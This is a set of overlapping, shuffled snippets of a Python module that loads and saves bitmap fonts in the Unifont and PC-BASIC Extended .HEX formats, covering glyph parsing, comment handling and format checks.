"def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell font to PC-BASIC extended .HEX file.\"\"\"",
"'\\n\\n') # glyphs for glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s:",
"font to Unifont or PC-BASIC Extended .HEX file.\"\"\" # global comment if font.get_comments():",
"( # glyph comment ('' if not glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#')",
"from key string.\"\"\" try: return ''.join(chr(int(_key, 16)) for _key in key.split(',')) except ValueError:",
"comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char",
"char = _convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if not char else",
"label u','.join(f'{ord(_c):04X}' for _c in glyph.char), # hex code glyph.as_hex().upper() ) ) def",
"Hex format (c) 2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX format documentation #",
"any comment at end of file as part of global comment global_comment =",
"import Font from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream, where=None):",
"file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell font to",
"'{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c in glyph.char), # hex code glyph.as_hex().upper() )",
"_format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\" return '\\n'.join(f'{comm_char} {_line}' for _line in comment.splitlines())",
"comment and comment[-1] != '') # marked as comment or line[0] == '#'",
"_save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell font to Unifont or PC-BASIC Extended .HEX",
"# determine geometry # two standards: 8-pix wide, or 16-pix wide # if",
"format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex format does not support multi-codepoint grapheme clusters.')",
"lines[:-splitter-1] lines = lines[-splitter:] return global_comment, lines ############################################################################## # saver def _save_hex(font, outstream,",
"support multi-codepoint grapheme clusters.') return False if glyph.height != 16 or glyph.width not",
"{glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _fits_in_hext(glyph): \"\"\"Check if glyph",
"# label u','.join(f'{ord(_c):04X}' for _c in glyph.char), # hex code glyph.as_hex().upper() ) )",
"where=None): \"\"\"Save 8x16 multi-cell font to Unifont .HEX file.\"\"\" font = _validate(fonts) _save_hex(font,",
"to hex file.') font, = fonts if font.spacing not in ('character-cell', 'multi-cell'): raise",
"glyphs.append(_convert_glyph(key, value, comment)) comment = [] # preserve any comment at end of",
"glyph.height >= 32: logging.warning( 'Extended Hex format only supports glyphs less than 32",
"[] lines = [_line or '' for _line in lines] # remove \"comment",
"lines if _line)) if len(firsts) == 1 and firsts not in string.ascii_letters +",
"_line in lines] return lines def split_global_comment(lines): \"\"\"Split top comments into global and",
"split_global_comment(lines): \"\"\"Split top comments into global and first glyph comment.\"\"\" while lines and",
"or 16x16 glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True",
"= lines[::-1].index('') except ValueError: global_comment = lines lines = [] else: global_comment =",
"Extended .HEX file.\"\"\" # global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') #",
"= _convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if not char else []),",
"convert diffs, like hexdraw or (':' not in line) # not a valid",
"@loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font from PC-BASIC",
"save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell font to Unifont .HEX file.\"\"\" font =",
"key string and hex value.\"\"\" # determine geometry # two standards: 8-pix wide,",
"\"\"\"Format glyph line for hex file.\"\"\" return ( # glyph comment ('' if",
"line and comment and comment[-1] != '') # marked as comment or line[0]",
"monobit.hex - Unifont Hex format (c) 2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX",
"# when first glyph is found, split comment lines between global and glyph",
"'' for _line in lines] # remove \"comment char\" - non-alphanumeric shared first",
"== 1 and firsts not in string.ascii_letters + string.digits: lines = [_line[1:] for",
"raise FileFormatError('Can only save one font to hex file.') font, = fonts if",
"raise FileFormatError( 'This format only supports character-cell or multi-cell fonts.' ) return font",
"if glyph fits in PC-BASIC Extended Hex format.\"\"\" if glyph.width not in (8,",
"comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label from key string.\"\"\" try: return ''.join(chr(int(_key,",
"width, height = 8, num_bytes else: width, height = 16, num_bytes // 2",
"from ..streams import FileFormatError from ..font import Font from ..glyph import Glyph @loaders.register('hext',",
"_fits_in_hext(glyph): \"\"\"Check if glyph fits in PC-BASIC Extended Hex format.\"\"\" if glyph.width not",
"in (8, 16): logging.warning( 'Hex format only supports 8x16 or 16x16 glyphs, '",
"\"\"\"Ctreate char label from key string.\"\"\" try: return ''.join(chr(int(_key, 16)) for _key in",
"in lines if _line): lines = [_line[1:] for _line in lines] return lines",
"set(value) - set(string.hexdigits + ',') ): comment.append(line) else: # when first glyph is",
"Glyph object from key string and hex value.\"\"\" # determine geometry # two",
"Extended HEX') def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font from PC-BASIC extended .HEX",
"for hex file.\"\"\" return ( # glyph comment ('' if not glyph.comments else",
"in file format.\"\"\" if len(fonts) > 1: raise FileFormatError('Can only save one font",
"and comment and comment[-1] != '') # marked as comment or line[0] ==",
"into global and first glyph comment.\"\"\" while lines and not lines[-1]: lines =",
"= 16, num_bytes // 2 # get labels char = _convert_label(key) return Glyph.from_hex(value,",
"or '' for _line in lines] # remove \"comment char\" - non-alphanumeric shared",
"instream: line = line.rstrip('\\r\\n') if ':' in line: # parse code line key,",
"character-cell or multi-cell fonts.' ) return font ############################################################################## # loader def _load_hex(instream): \"\"\"Load",
"= line.rstrip('\\r\\n') if ':' in line: # parse code line key, value =",
"geometry # two standards: 8-pix wide, or 16-pix wide # if height >=",
"in instream: line = line.rstrip('\\r\\n') if ':' in line: # parse code line",
"https://opensource.org/licenses/MIT \"\"\" # HEX format documentation # http://czyborra.com/unifont/ import logging import string from",
"# loader def _load_hex(instream): \"\"\"Load font from a .hex file.\"\"\" global_comment = []",
"FileFormatError('Can only save one font to hex file.') font, = fonts if font.spacing",
"except ValueError: return '' def _convert_glyph(key, value, comment): \"\"\"Create Glyph object from key",
"= _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell",
"else: global_comment = lines[:-splitter-1] lines = lines[-splitter:] return global_comment, lines ############################################################################## # saver",
"line.rstrip('\\r\\n') if ':' in line: # parse code line key, value = line.rsplit(':',",
"(':' not in line) # not a valid line, treat as comment or",
"character firsts = str(set(_line[0:1] for _line in lines if _line)) if len(firsts) ==",
"\"comment char\" - non-alphanumeric shared first character firsts = str(set(_line[0:1] for _line in",
"saver def _save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell font to Unifont or PC-BASIC",
"from ..font import Font from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def",
"global and first glyph comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1]",
"def _format_glyph(glyph): \"\"\"Format glyph line for hex file.\"\"\" return ( # glyph comment",
"parse code line key, value = line.rsplit(':', 1) value = value.strip() if (",
"fits): \"\"\"Save 8x16 multi-cell font to Unifont or PC-BASIC Extended .HEX file.\"\"\" #",
"font from a .hex file.\"\"\" global_comment = [] glyphs = [] comment =",
"not lines: return [] lines = [_line or '' for _line in lines]",
"font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs for glyph in font.glyphs: if fits(glyph):",
"len(firsts) == 1 and firsts not in string.ascii_letters + string.digits: lines = [_line[1:]",
"str(set(_line[0:1] for _line in lines if _line)) if len(firsts) == 1 and firsts",
"format.\"\"\" if len(fonts) > 1: raise FileFormatError('Can only save one font to hex",
"in key.split(',')) except ValueError: return '' def _convert_glyph(key, value, comment): \"\"\"Create Glyph object",
"glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}'",
"8, num_bytes else: width, height = 16, num_bytes // 2 # get labels",
"= [] else: global_comment = lines[:-splitter-1] lines = lines[-splitter:] return global_comment, lines ##############################################################################",
"in lines] return lines def split_global_comment(lines): \"\"\"Split top comments into global and first",
"and hex value.\"\"\" # determine geometry # two standards: 8-pix wide, or 16-pix",
"between global and glyph if not glyphs and comment: global_comment, comment = split_global_comment(comment)",
"file as part of global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment,",
"diffs, like hexdraw or (':' not in line) # not a valid line,",
"not in ('character-cell', 'multi-cell'): raise FileFormatError( 'This format only supports character-cell or multi-cell",
"import string from ..storage import loaders, savers from ..streams import FileFormatError from ..font",
"8x16 multi-cell font to Unifont .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex)",
"fonts.' ) return font ############################################################################## # loader def _load_hex(instream): \"\"\"Load font from a",
"outstream, where=None): \"\"\"Save 8x16 multi-cell font to Unifont .HEX file.\"\"\" font = _validate(fonts)",
"e.g. to convert diffs, like hexdraw or (':' not in line) # not",
"\"\"\"Create Glyph object from key string and hex value.\"\"\" # determine geometry #",
"in glyph.char), # hex code glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char): \"\"\"Format a",
"supports character-cell or multi-cell fonts.' ) return font ############################################################################## # loader def _load_hex(instream):",
"to PC-BASIC extended .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts):",
"line: # parse code line key, value = line.rsplit(':', 1) value = value.strip()",
"import loaders, savers from ..streams import FileFormatError from ..font import Font from ..glyph",
"font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN",
"all(_line.startswith(' ') for _line in lines if _line): lines = [_line[1:] for _line",
"or (':' not in line) # not a valid line, treat as comment",
"'\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c",
"as comments - allows e.g. to convert diffs, like hexdraw or (':' not",
"height).modify( char=char, tags=([key] if not char else []), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove",
"comment)) comment = [] # preserve any comment at end of file as",
".hex file.\"\"\" global_comment = [] glyphs = [] comment = [] for line",
"# remove one leading space if all(_line.startswith(' ') for _line in lines if",
"('character-cell', 'multi-cell'): raise FileFormatError( 'This format only supports character-cell or multi-cell fonts.' )",
"a .hex file.\"\"\" global_comment = [] glyphs = [] comment = [] for",
"height = 8, num_bytes else: width, height = 16, num_bytes // 2 #",
"not support multi-codepoint grapheme clusters.') return False if glyph.height != 16 or glyph.width",
"is {glyph.width}x{glyph.height}.' ) return False return True def _fits_in_hext(glyph): \"\"\"Check if glyph fits",
"glyph comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] try: splitter =",
"try: return ''.join(chr(int(_key, 16)) for _key in key.split(',')) except ValueError: return '' def",
"file.\"\"\" # global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs for",
"char=char, tags=([key] if not char else []), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading",
"two standards: 8-pix wide, or 16-pix wide # if height >= 32, they",
"outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if font fits in file format.\"\"\" if len(fonts)",
"- set(string.hexdigits + ',') ): comment.append(line) else: # when first glyph is found,",
"'This format only supports character-cell or multi-cell fonts.' ) return font ############################################################################## #",
"Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def save_hex(fonts, outstream, where=None): \"\"\"Save 8x16 multi-cell",
"lines = [] else: global_comment = lines[:-splitter-1] lines = lines[-splitter:] return global_comment, lines",
"as comment or set(value) - set(string.hexdigits + ',') ): comment.append(line) else: # when",
"line key, value = line.rsplit(':', 1) value = value.strip() if ( # preserve",
"high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _format_glyph(glyph):",
"or glyph.width not in (8, 16): logging.warning( 'Hex format only supports 8x16 or",
"def _fits_in_hext(glyph): \"\"\"Check if glyph fits in PC-BASIC Extended Hex format.\"\"\" if glyph.width",
"multi-codepoint grapheme clusters.') return False if glyph.height != 16 or glyph.width not in",
"format (c) 2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX format documentation # http://czyborra.com/unifont/",
">= 32: logging.warning( 'Extended Hex format only supports glyphs less than 32 pixels",
"_fits_in_hex(glyph): \"\"\"Check if glyph fits in Unifont Hex format.\"\"\" if len(glyph.char) > 1:",
"def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font from PC-BASIC extended .HEX file.\"\"\" return",
"where=None): \"\"\"Save 8xN multi-cell font to PC-BASIC extended .HEX file.\"\"\" font = _validate(fonts)",
"_convert_label(key): \"\"\"Ctreate char label from key string.\"\"\" try: return ''.join(chr(int(_key, 16)) for _key",
"empty lines if they separate comments (not line and comment and comment[-1] !=",
"if height >= 32, they conflict num_bytes = len(value) // 2 if num_bytes",
"or 16 pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False if glyph.height",
"' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def _fits_in_hext(glyph): \"\"\"Check",
"(not line and comment and comment[-1] != '') # marked as comment or",
"else []), comments=_clean_comment(comment) ) def _clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\" while lines",
"global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label",
"split comment lines between global and glyph if not glyphs and comment: global_comment,",
"_validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell font",
"16)) for _key in key.split(',')) except ValueError: return '' def _convert_glyph(key, value, comment):",
"\"\"\"Check if font fits in file format.\"\"\" if len(fonts) > 1: raise FileFormatError('Can",
"string.digits: lines = [_line[1:] for _line in lines] # remove one leading space",
"import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font",
"loader def _load_hex(instream): \"\"\"Load font from a .hex file.\"\"\" global_comment = [] glyphs",
"as comment or line[0] == '#' # pass through lines without : as",
"def _load_hex(instream): \"\"\"Load font from a .hex file.\"\"\" global_comment = [] glyphs =",
"width, height = 16, num_bytes // 2 # get labels char = _convert_label(key)",
"Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font from",
"or line[0] == '#' # pass through lines without : as comments -",
"# preserve any comment at end of file as part of global comment",
"characters from comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] if not",
"comm_char='#') + '\\n\\n') # glyphs for glyph in font.glyphs: if fits(glyph): outstream.write(_format_glyph(glyph)) else:",
"@savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell font to PC-BASIC extended .HEX",
"( # preserve empty lines if they separate comments (not line and comment",
"object from key string and hex value.\"\"\" # determine geometry # two standards:",
"outstream, fits): \"\"\"Save 8x16 multi-cell font to Unifont or PC-BASIC Extended .HEX file.\"\"\"",
"Unifont Hex format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex format does not support multi-codepoint",
"in PC-BASIC Extended Hex format.\"\"\" if glyph.width not in (8, 16): logging.warning( 'Extended",
"end of file as part of global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return",
"save one font to hex file.') font, = fonts if font.spacing not in",
"= [] # preserve any comment at end of file as part of",
"else '\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for",
"# pass through lines without : as comments - allows e.g. to convert",
") return font ############################################################################## # loader def _load_hex(instream): \"\"\"Load font from a .hex",
"logging.warning( 'Extended Hex format only supports glyphs less than 32 pixels high, '",
"%s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph fits in Unifont Hex format.\"\"\"",
"return False if glyph.height >= 32: logging.warning( 'Extended Hex format only supports glyphs",
"glyphs and comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment = []",
"and firsts not in string.ascii_letters + string.digits: lines = [_line[1:] for _line in",
"lines lines = [] else: global_comment = lines[:-splitter-1] lines = lines[-splitter:] return global_comment,",
"global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment = [] # preserve any",
"and comment: global_comment, comment = split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment = [] #",
"ValueError: global_comment = lines lines = [] else: global_comment = lines[:-splitter-1] lines =",
"and not lines[-1]: lines = lines[:-1] if not lines: return [] lines =",
"2 # get labels char = _convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char, tags=([key]",
"[_line[1:] for _line in lines] # remove one leading space if all(_line.startswith(' ')",
"else: # when first glyph is found, split comment lines between global and",
"for _line in lines] # remove one leading space if all(_line.startswith(' ') for",
"split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment = [] # preserve any comment at end",
"name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font from Unifont .HEX file.\"\"\"",
"// 2 # get labels char = _convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char,",
"return [] lines = [_line or '' for _line in lines] # remove",
"from ..glyph import Glyph @loaders.register('hext', name='PC-BASIC Extended HEX') def load_hext(instream, where=None): \"\"\"Load 8xN",
"key string.\"\"\" try: return ''.join(chr(int(_key, 16)) for _key in key.split(',')) except ValueError: return",
"outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph fits",
"comment or set(value) - set(string.hexdigits + ',') ): comment.append(line) else: # when first",
"when first glyph is found, split comment lines between global and glyph if",
"label from key string.\"\"\" try: return ''.join(chr(int(_key, 16)) for _key in key.split(',')) except",
"= lines lines = [] else: global_comment = lines[:-splitter-1] lines = lines[-splitter:] return",
"glyph fits in PC-BASIC Extended Hex format.\"\"\" if glyph.width not in (8, 16):",
"code glyph.as_hex().upper() ) ) def _format_comment(comment, comm_char): \"\"\"Format a multiline comment.\"\"\" return '\\n'.join(f'{comm_char}",
"= [] comment = [] for line in instream: line = line.rstrip('\\r\\n') if",
"lines[-splitter:] return global_comment, lines ############################################################################## # saver def _save_hex(font, outstream, fits): \"\"\"Save 8x16",
"else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph fits in",
"= len(value) // 2 if num_bytes < 32: width, height = 8, num_bytes",
"name='PC-BASIC Extended HEX') def load_hext(instream, where=None): \"\"\"Load 8xN multi-cell font from PC-BASIC extended",
"16, num_bytes // 2 # get labels char = _convert_label(key) return Glyph.from_hex(value, width,",
"glyph fits in Unifont Hex format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex format does",
"if they separate comments (not line and comment and comment[-1] != '') #",
"format does not support multi-codepoint grapheme clusters.') return False if glyph.height != 16",
"= fonts if font.spacing not in ('character-cell', 'multi-cell'): raise FileFormatError( 'This format only",
"if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs for glyph in font.glyphs: if",
"preserve any comment at end of file as part of global comment global_comment",
"hex file.\"\"\" return ( # glyph comment ('' if not glyph.comments else '\\n'",
"16x16 glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True def",
"False return True def _fits_in_hext(glyph): \"\"\"Check if glyph fits in PC-BASIC Extended Hex",
"FileFormatError( 'This format only supports character-cell or multi-cell fonts.' ) return font ##############################################################################",
"except ValueError: global_comment = lines lines = [] else: global_comment = lines[:-splitter-1] lines",
"= split_global_comment(comment) glyphs.append(_convert_glyph(key, value, comment)) comment = [] # preserve any comment at",
"string.ascii_letters + string.digits: lines = [_line[1:] for _line in lines] # remove one",
"multi-cell font to Unifont .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext)",
"comment ('' if not glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n') +",
"format.\"\"\" if glyph.width not in (8, 16): logging.warning( 'Extended Hex format only supports",
"= [] glyphs = [] comment = [] for line in instream: line",
"glyph.height != 16 or glyph.width not in (8, 16): logging.warning( 'Hex format only",
"_convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if not char else []), comments=_clean_comment(comment)",
"logging.warning( 'Extended Hex format only supports glyphs of width 8 or 16 pixels,",
"remove one leading space if all(_line.startswith(' ') for _line in lines if _line):",
"if font fits in file format.\"\"\" if len(fonts) > 1: raise FileFormatError('Can only",
"line) # not a valid line, treat as comment or set(value) - set(string.hexdigits",
"def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font from Unifont .HEX file.\"\"\" return _load_hex(instream.text)",
"# saver def _save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell font to Unifont or",
"lines: return [] lines = [_line or '' for _line in lines] #",
"= [_line[1:] for _line in lines] # remove one leading space if all(_line.startswith('",
"_line in lines] # remove \"comment char\" - non-alphanumeric shared first character firsts",
"_format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format( # label u','.join(f'{ord(_c):04X}' for _c in glyph.char),",
"file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save",
"if _line)) if len(firsts) == 1 and firsts not in string.ascii_letters + string.digits:",
"..storage import loaders, savers from ..streams import FileFormatError from ..font import Font from",
"False if glyph.height >= 32: logging.warning( 'Extended Hex format only supports glyphs less",
"char\" - non-alphanumeric shared first character firsts = str(set(_line[0:1] for _line in lines",
".HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None):",
"Unifont .HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream,",
"get labels char = _convert_label(key) return Glyph.from_hex(value, width, height).modify( char=char, tags=([key] if not",
"# remove \"comment char\" - non-alphanumeric shared first character firsts = str(set(_line[0:1] for",
"and not lines[-1]: lines = lines[:-1] try: splitter = lines[::-1].index('') except ValueError: global_comment",
"return True def _fits_in_hext(glyph): \"\"\"Check if glyph fits in PC-BASIC Extended Hex format.\"\"\"",
"only supports glyphs less than 32 pixels high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.'",
"@loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load 8x16 multi-cell font from Unifont .HEX",
"if glyph.height != 16 or glyph.width not in (8, 16): logging.warning( 'Hex format",
"is {glyph.width}x{glyph.height}.' ) return False if glyph.height >= 32: logging.warning( 'Extended Hex format",
"where=None): \"\"\"Load 8xN multi-cell font from PC-BASIC extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex',",
"lines without : as comments - allows e.g. to convert diffs, like hexdraw",
"comment.append(line) else: # when first glyph is found, split comment lines between global",
"not in (8, 16): logging.warning( 'Extended Hex format only supports glyphs of width",
") return False return True def _format_glyph(glyph): \"\"\"Format glyph line for hex file.\"\"\"",
"PC-BASIC Extended .HEX file.\"\"\" # global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n')",
"not in string.ascii_letters + string.digits: lines = [_line[1:] for _line in lines] #",
"outstream.text, _fits_in_hex) @savers.register(linked=load_hext) def save_hext(fonts, outstream, where=None): \"\"\"Save 8xN multi-cell font to PC-BASIC",
"'multi-cell'): raise FileFormatError( 'This format only supports character-cell or multi-cell fonts.' ) return",
"line, treat as comment or set(value) - set(string.hexdigits + ',') ): comment.append(line) else:",
"firsts not in string.ascii_letters + string.digits: lines = [_line[1:] for _line in lines]",
"part of global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def",
"only supports 8x16 or 16x16 glyphs, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return",
"':' in line: # parse code line key, value = line.rsplit(':', 1) value",
"hex file.') font, = fonts if font.spacing not in ('character-cell', 'multi-cell'): raise FileFormatError(",
"glyph line for hex file.\"\"\" return ( # glyph comment ('' if not",
"fonts if font.spacing not in ('character-cell', 'multi-cell'): raise FileFormatError( 'This format only supports",
"lines] # remove one leading space if all(_line.startswith(' ') for _line in lines",
"lines[::-1].index('') except ValueError: global_comment = lines lines = [] else: global_comment = lines[:-splitter-1]",
"in Unifont Hex format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex format does not support",
"_line in lines if _line): lines = [_line[1:] for _line in lines] return",
"[_line or '' for _line in lines] # remove \"comment char\" - non-alphanumeric",
"Hex format only supports glyphs of width 8 or 16 pixels, ' f'glyph",
"return '' def _convert_glyph(key, value, comment): \"\"\"Create Glyph object from key string and",
"where=None): \"\"\"Load 8x16 multi-cell font from Unifont .HEX file.\"\"\" return _load_hex(instream.text) @savers.register(linked=load_hex) def",
"glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if glyph fits in Unifont Hex format.\"\"\" if",
"fits in PC-BASIC Extended Hex format.\"\"\" if glyph.width not in (8, 16): logging.warning(",
"def _clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\" while lines and not lines[-1]: lines",
"> 1: logging.warning('Hex format does not support multi-codepoint grapheme clusters.') return False if",
"not glyph.comments else '\\n' + _format_comment(glyph.comments, comm_char='#') + '\\n') + '{}:{}\\n'.format( # label",
"1: raise FileFormatError('Can only save one font to hex file.') font, = fonts",
".HEX file.\"\"\" font = _validate(fonts) _save_hex(font, outstream.text, _fits_in_hext) def _validate(fonts): \"\"\"Check if font",
"def _convert_label(key): \"\"\"Ctreate char label from key string.\"\"\" try: return ''.join(chr(int(_key, 16)) for",
"global comment if font.get_comments(): outstream.write(_format_comment(font.get_comments(), comm_char='#') + '\\n\\n') # glyphs for glyph in",
"not in (8, 16): logging.warning( 'Hex format only supports 8x16 or 16x16 glyphs,",
"if fits(glyph): outstream.write(_format_glyph(glyph)) else: logging.warning('Skipping %s: %s', glyph.char, glyph.as_hex()) def _fits_in_hex(glyph): \"\"\"Check if",
"to convert diffs, like hexdraw or (':' not in line) # not a",
"lines = [_line[1:] for _line in lines] return lines def split_global_comment(lines): \"\"\"Split top",
"!= '') # marked as comment or line[0] == '#' # pass through",
"glyphs = [] comment = [] for line in instream: line = line.rstrip('\\r\\n')",
"_fits_in_hext) def _validate(fonts): \"\"\"Check if font fits in file format.\"\"\" if len(fonts) >",
"len(fonts) > 1: raise FileFormatError('Can only save one font to hex file.') font,",
"[_line[1:] for _line in lines] return lines def split_global_comment(lines): \"\"\"Split top comments into",
"global comment global_comment = '\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate",
"first glyph comment.\"\"\" while lines and not lines[-1]: lines = lines[:-1] try: splitter",
"= line.rsplit(':', 1) value = value.strip() if ( # preserve empty lines if",
"lines = lines[:-1] if not lines: return [] lines = [_line or ''",
"32 pixels high, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False return True",
"// 2 if num_bytes < 32: width, height = 8, num_bytes else: width,",
"file.\"\"\" return ( # glyph comment ('' if not glyph.comments else '\\n' +",
"_clean_comment(lines): \"\"\"Remove leading characters from comment.\"\"\" while lines and not lines[-1]: lines =",
"num_bytes // 2 # get labels char = _convert_label(key) return Glyph.from_hex(value, width, height).modify(",
"pixels, ' f'glyph {glyph.char} is {glyph.width}x{glyph.height}.' ) return False if glyph.height >= 32:",
"font to hex file.') font, = fonts if font.spacing not in ('character-cell', 'multi-cell'):",
"comment lines between global and glyph if not glyphs and comment: global_comment, comment",
"return font ############################################################################## # loader def _load_hex(instream): \"\"\"Load font from a .hex file.\"\"\"",
"def _save_hex(font, outstream, fits): \"\"\"Save 8x16 multi-cell font to Unifont or PC-BASIC Extended",
"wide, or 16-pix wide # if height >= 32, they conflict num_bytes =",
"if all(_line.startswith(' ') for _line in lines if _line): lines = [_line[1:] for",
"'\\n'.join([*_clean_comment(global_comment), *_clean_comment(comment)]) return Font(glyphs, comments=global_comment, properties=dict(encoding='unicode')) def _convert_label(key): \"\"\"Ctreate char label from key",
"2019--2021 <NAME> licence: https://opensource.org/licenses/MIT \"\"\" # HEX format documentation # http://czyborra.com/unifont/ import logging",
"extended .HEX file.\"\"\" return _load_hex(instream.text) @loaders.register('hex', name='Unifont HEX') def load_hex(instream, where=None): \"\"\"Load 8x16",
"Hex format.\"\"\" if len(glyph.char) > 1: logging.warning('Hex format does not support multi-codepoint grapheme",
"hexdraw or (':' not in line) # not a valid line, treat as",
"\"\"\"Check if glyph fits in PC-BASIC Extended Hex format.\"\"\" if glyph.width not in",
